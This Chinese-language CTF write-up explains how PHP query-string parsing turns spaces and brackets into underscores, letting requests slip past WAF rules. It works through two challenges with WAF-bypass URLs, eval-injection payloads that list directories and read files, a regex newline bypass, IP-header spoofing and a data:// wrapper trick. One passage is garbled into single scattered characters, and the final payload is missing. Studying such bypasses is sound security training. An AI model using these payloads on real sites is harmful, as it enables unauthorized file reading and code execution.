PHP的字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET
或关联数组$_POST
。例如:/?foo=bar变成Array([foo] => “bar”)
。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42
会转换为Array([news_id] => 42)
。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00
的值将存储到$_GET[“news_id”]
中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
例如:
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num=aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num=aaaa //显示非法输入的话
这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
例题1.——[RoarCTF 2019]Easy Calc
查看源代码,发现有个防火墙
有waf
和一个calc.php
网页,我们先打开这个网页看看是什么
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';'); // 存在高危漏洞,可以上传非法字符
}
?>
我们可以看见过滤了一些特殊字符,然后eval
执行我们的命令,想着前面的waf
,不可能是这样简单的,我们先试试传入一些字符试试。
当我传入字符时,waf
拦截了我们的请求
题目的突破点:
进行绕waf,首先我们知道了php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
**num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符。**如:
首先我们要先扫根目录下的所有文件,也就是scandir("/")
,但是"/"
被php代码过滤了,所以我们用chr(47)
绕过,发现flagg文件
?num=1;var_dump(scandir(chr(47))) # scandir() 函数返回指定目录中的文件和目录的数组。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
然后去读取这个文件就可以了,直接放payload:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) # / f 1 a g g
获取flag
参考:https://www.freebuf.com/articles/web/213359.html
例题2.——[MRCTF2020]套娃
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
可知查寻字符串中要有下划线“_”或者%5f(下划线的URL编码),并且查询字符串不能为23333,但是查寻字符串又必须从头到尾是23333。
由前文可知:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
所以我们可以用%20代替下划线从而绕过第一个if,即:
/?b%20u%20p%20t=23333
这样在$query = $SERVER[‘QUERY_STRING’];里面的是b%20u%20p%20t,而在php在解析的时候,会先把%20解析为下划线“”。
第二个if中正则匹配表示匹配字符串的开头和结尾,由于 在字符串中换行可以表示字符串的结尾
,所以可以用%0a(换行符的url编码)绕过
最终payload:
/?b%20u%20p%20t=23333%0a
先是说flag在secrettw.php里面,我们访问secrettw.php看看
必须的本地访问,试试改http头
没用。。。。。
看看源码,艹:
是一段jsfuck编码,解密(或直接在控制台执行)
弹框说post me Merak,让POST一个Merak,我们随便POST一个试试:
显示代码如下:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
后面的$ip = getIp()
;应该是使用了头部的takeip.php中的函数来获取客户端ip,再将获取到的ip赋值给变量
i
p
如
果
满
足
‘
ip 如果满足`
ip如果满足‘ip!=‘127.0.0.1’`则执行该if内的语句,但是这段语句没什么用,所以我们不用管,第二个if内的语句才是我们需要执行的
第二个if的判断条件为
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
也就是说需要满足两个条件
第一个条件
i
p
=
=
=
‘
127.0.0.1
’
,
这
个
很
容
易
满
足
,
只
要
让
g
e
t
i
p
获
取
到
的
值
为
127.0.0.1
就
行
了
,
一
般
只
有
X
F
F
和
C
l
i
e
n
t
−
i
p
这
两
种
方
法
,
我
们
可
以
用
b
u
r
p
s
u
i
t
e
来
提
交
!
[
在
这
里
插
入
图
片
描
述
]
(
h
t
t
p
s
:
/
/
i
m
g
−
b
l
o
g
.
c
s
d
n
i
m
g
.
c
n
/
20200501111258744.
p
n
g
?
x
−
o
s
s
−
p
r
o
c
e
s
s
=
i
m
a
g
e
/
w
a
t
e
r
m
a
r
k
,
t
y
p
e
Z
m
F
u
Z
3
p
o
Z
W
5
n
a
G
V
p
d
G
k
,
s
h
a
d
o
w
1
0
,
t
e
x
t
a
H
R
0
c
H
M
6
L
y
9
i
b
G
9
n
L
m
N
z
Z
G
4
u
b
m
V
0
L
3
F
x
X
z
Q
1
N
T
I
x
M
j
g
x
,
s
i
z
e
1
6
,
c
o
l
o
r
F
F
F
F
F
F
,
t
7
0
)
第
二
个
条
件
‘
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
ip === ‘127.0.0.1’,这个很容易满足,只要让get_ip获取到的值为127.0.0.1就行了,一般只有XFF和Client-ip这两种方法,我们可以用burpsuite来提交 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200501111258744.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1NTIxMjgx,size_16,color_FFFFFF,t_70) 第二个条件`file_get_contents(
ip===‘127.0.0.1’,这个很容易满足,只要让getip获取到的值为127.0.0.1就行了,一般只有XFF和Client−ip这两种方法,我们可以用burpsuite来提交![在这里插入图片描述](https://img−blog.csdnimg.cn/20200501111258744.png?x−oss−process=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1NTIxMjgx,size16,colorFFFFFF,t70)第二个条件‘filegetcontents(_GET[‘2333’]) === 'todat is a happy day’首先通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,所以,经过到百度上各种CTF技巧的查找,发现这里可以使用data:// 来进行转换 格式为
data://text/plain;base64,将todat is a happy day进行base64编码得到dG9kYXQgaXMgYSBoYXBweSBkYXk=,所以需要通过get提交一个名为2333的参数,值为
data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=`
第二个if内的语句
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file']));
还用到了一个名为file的get参数,用于返回文件内容,我们需要知道flag.php的内容,所以这里需要file_get_content的文件是flag.php,但是这里要注意file_get_content函数不是直接使用的$_GET[‘file’]的值,而是用到了上面说到的change函数来转换,我们来看一下change函数的作用
function change($v){
$v = base64_decode($v); // 先将变量进行base64解码
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+$i*2
,$i
初始值为0,然后再转回字符
其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字
经过对照ASCII码表和计算,我们需要传递到file参数的值为“fj]a&f\b(fj]a&f\b经过change函数转换为flag.php)”的base64值,也就是ZmpdYSZmXGI=
我们反写change函数:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$re = base64_encode($re);
return $re;
}
$real_flag = unchange('flag.php');
echo $real_flag;
?>
得ZmpdYSZmXGI=
所以,我们最终的payload为:
得到flag。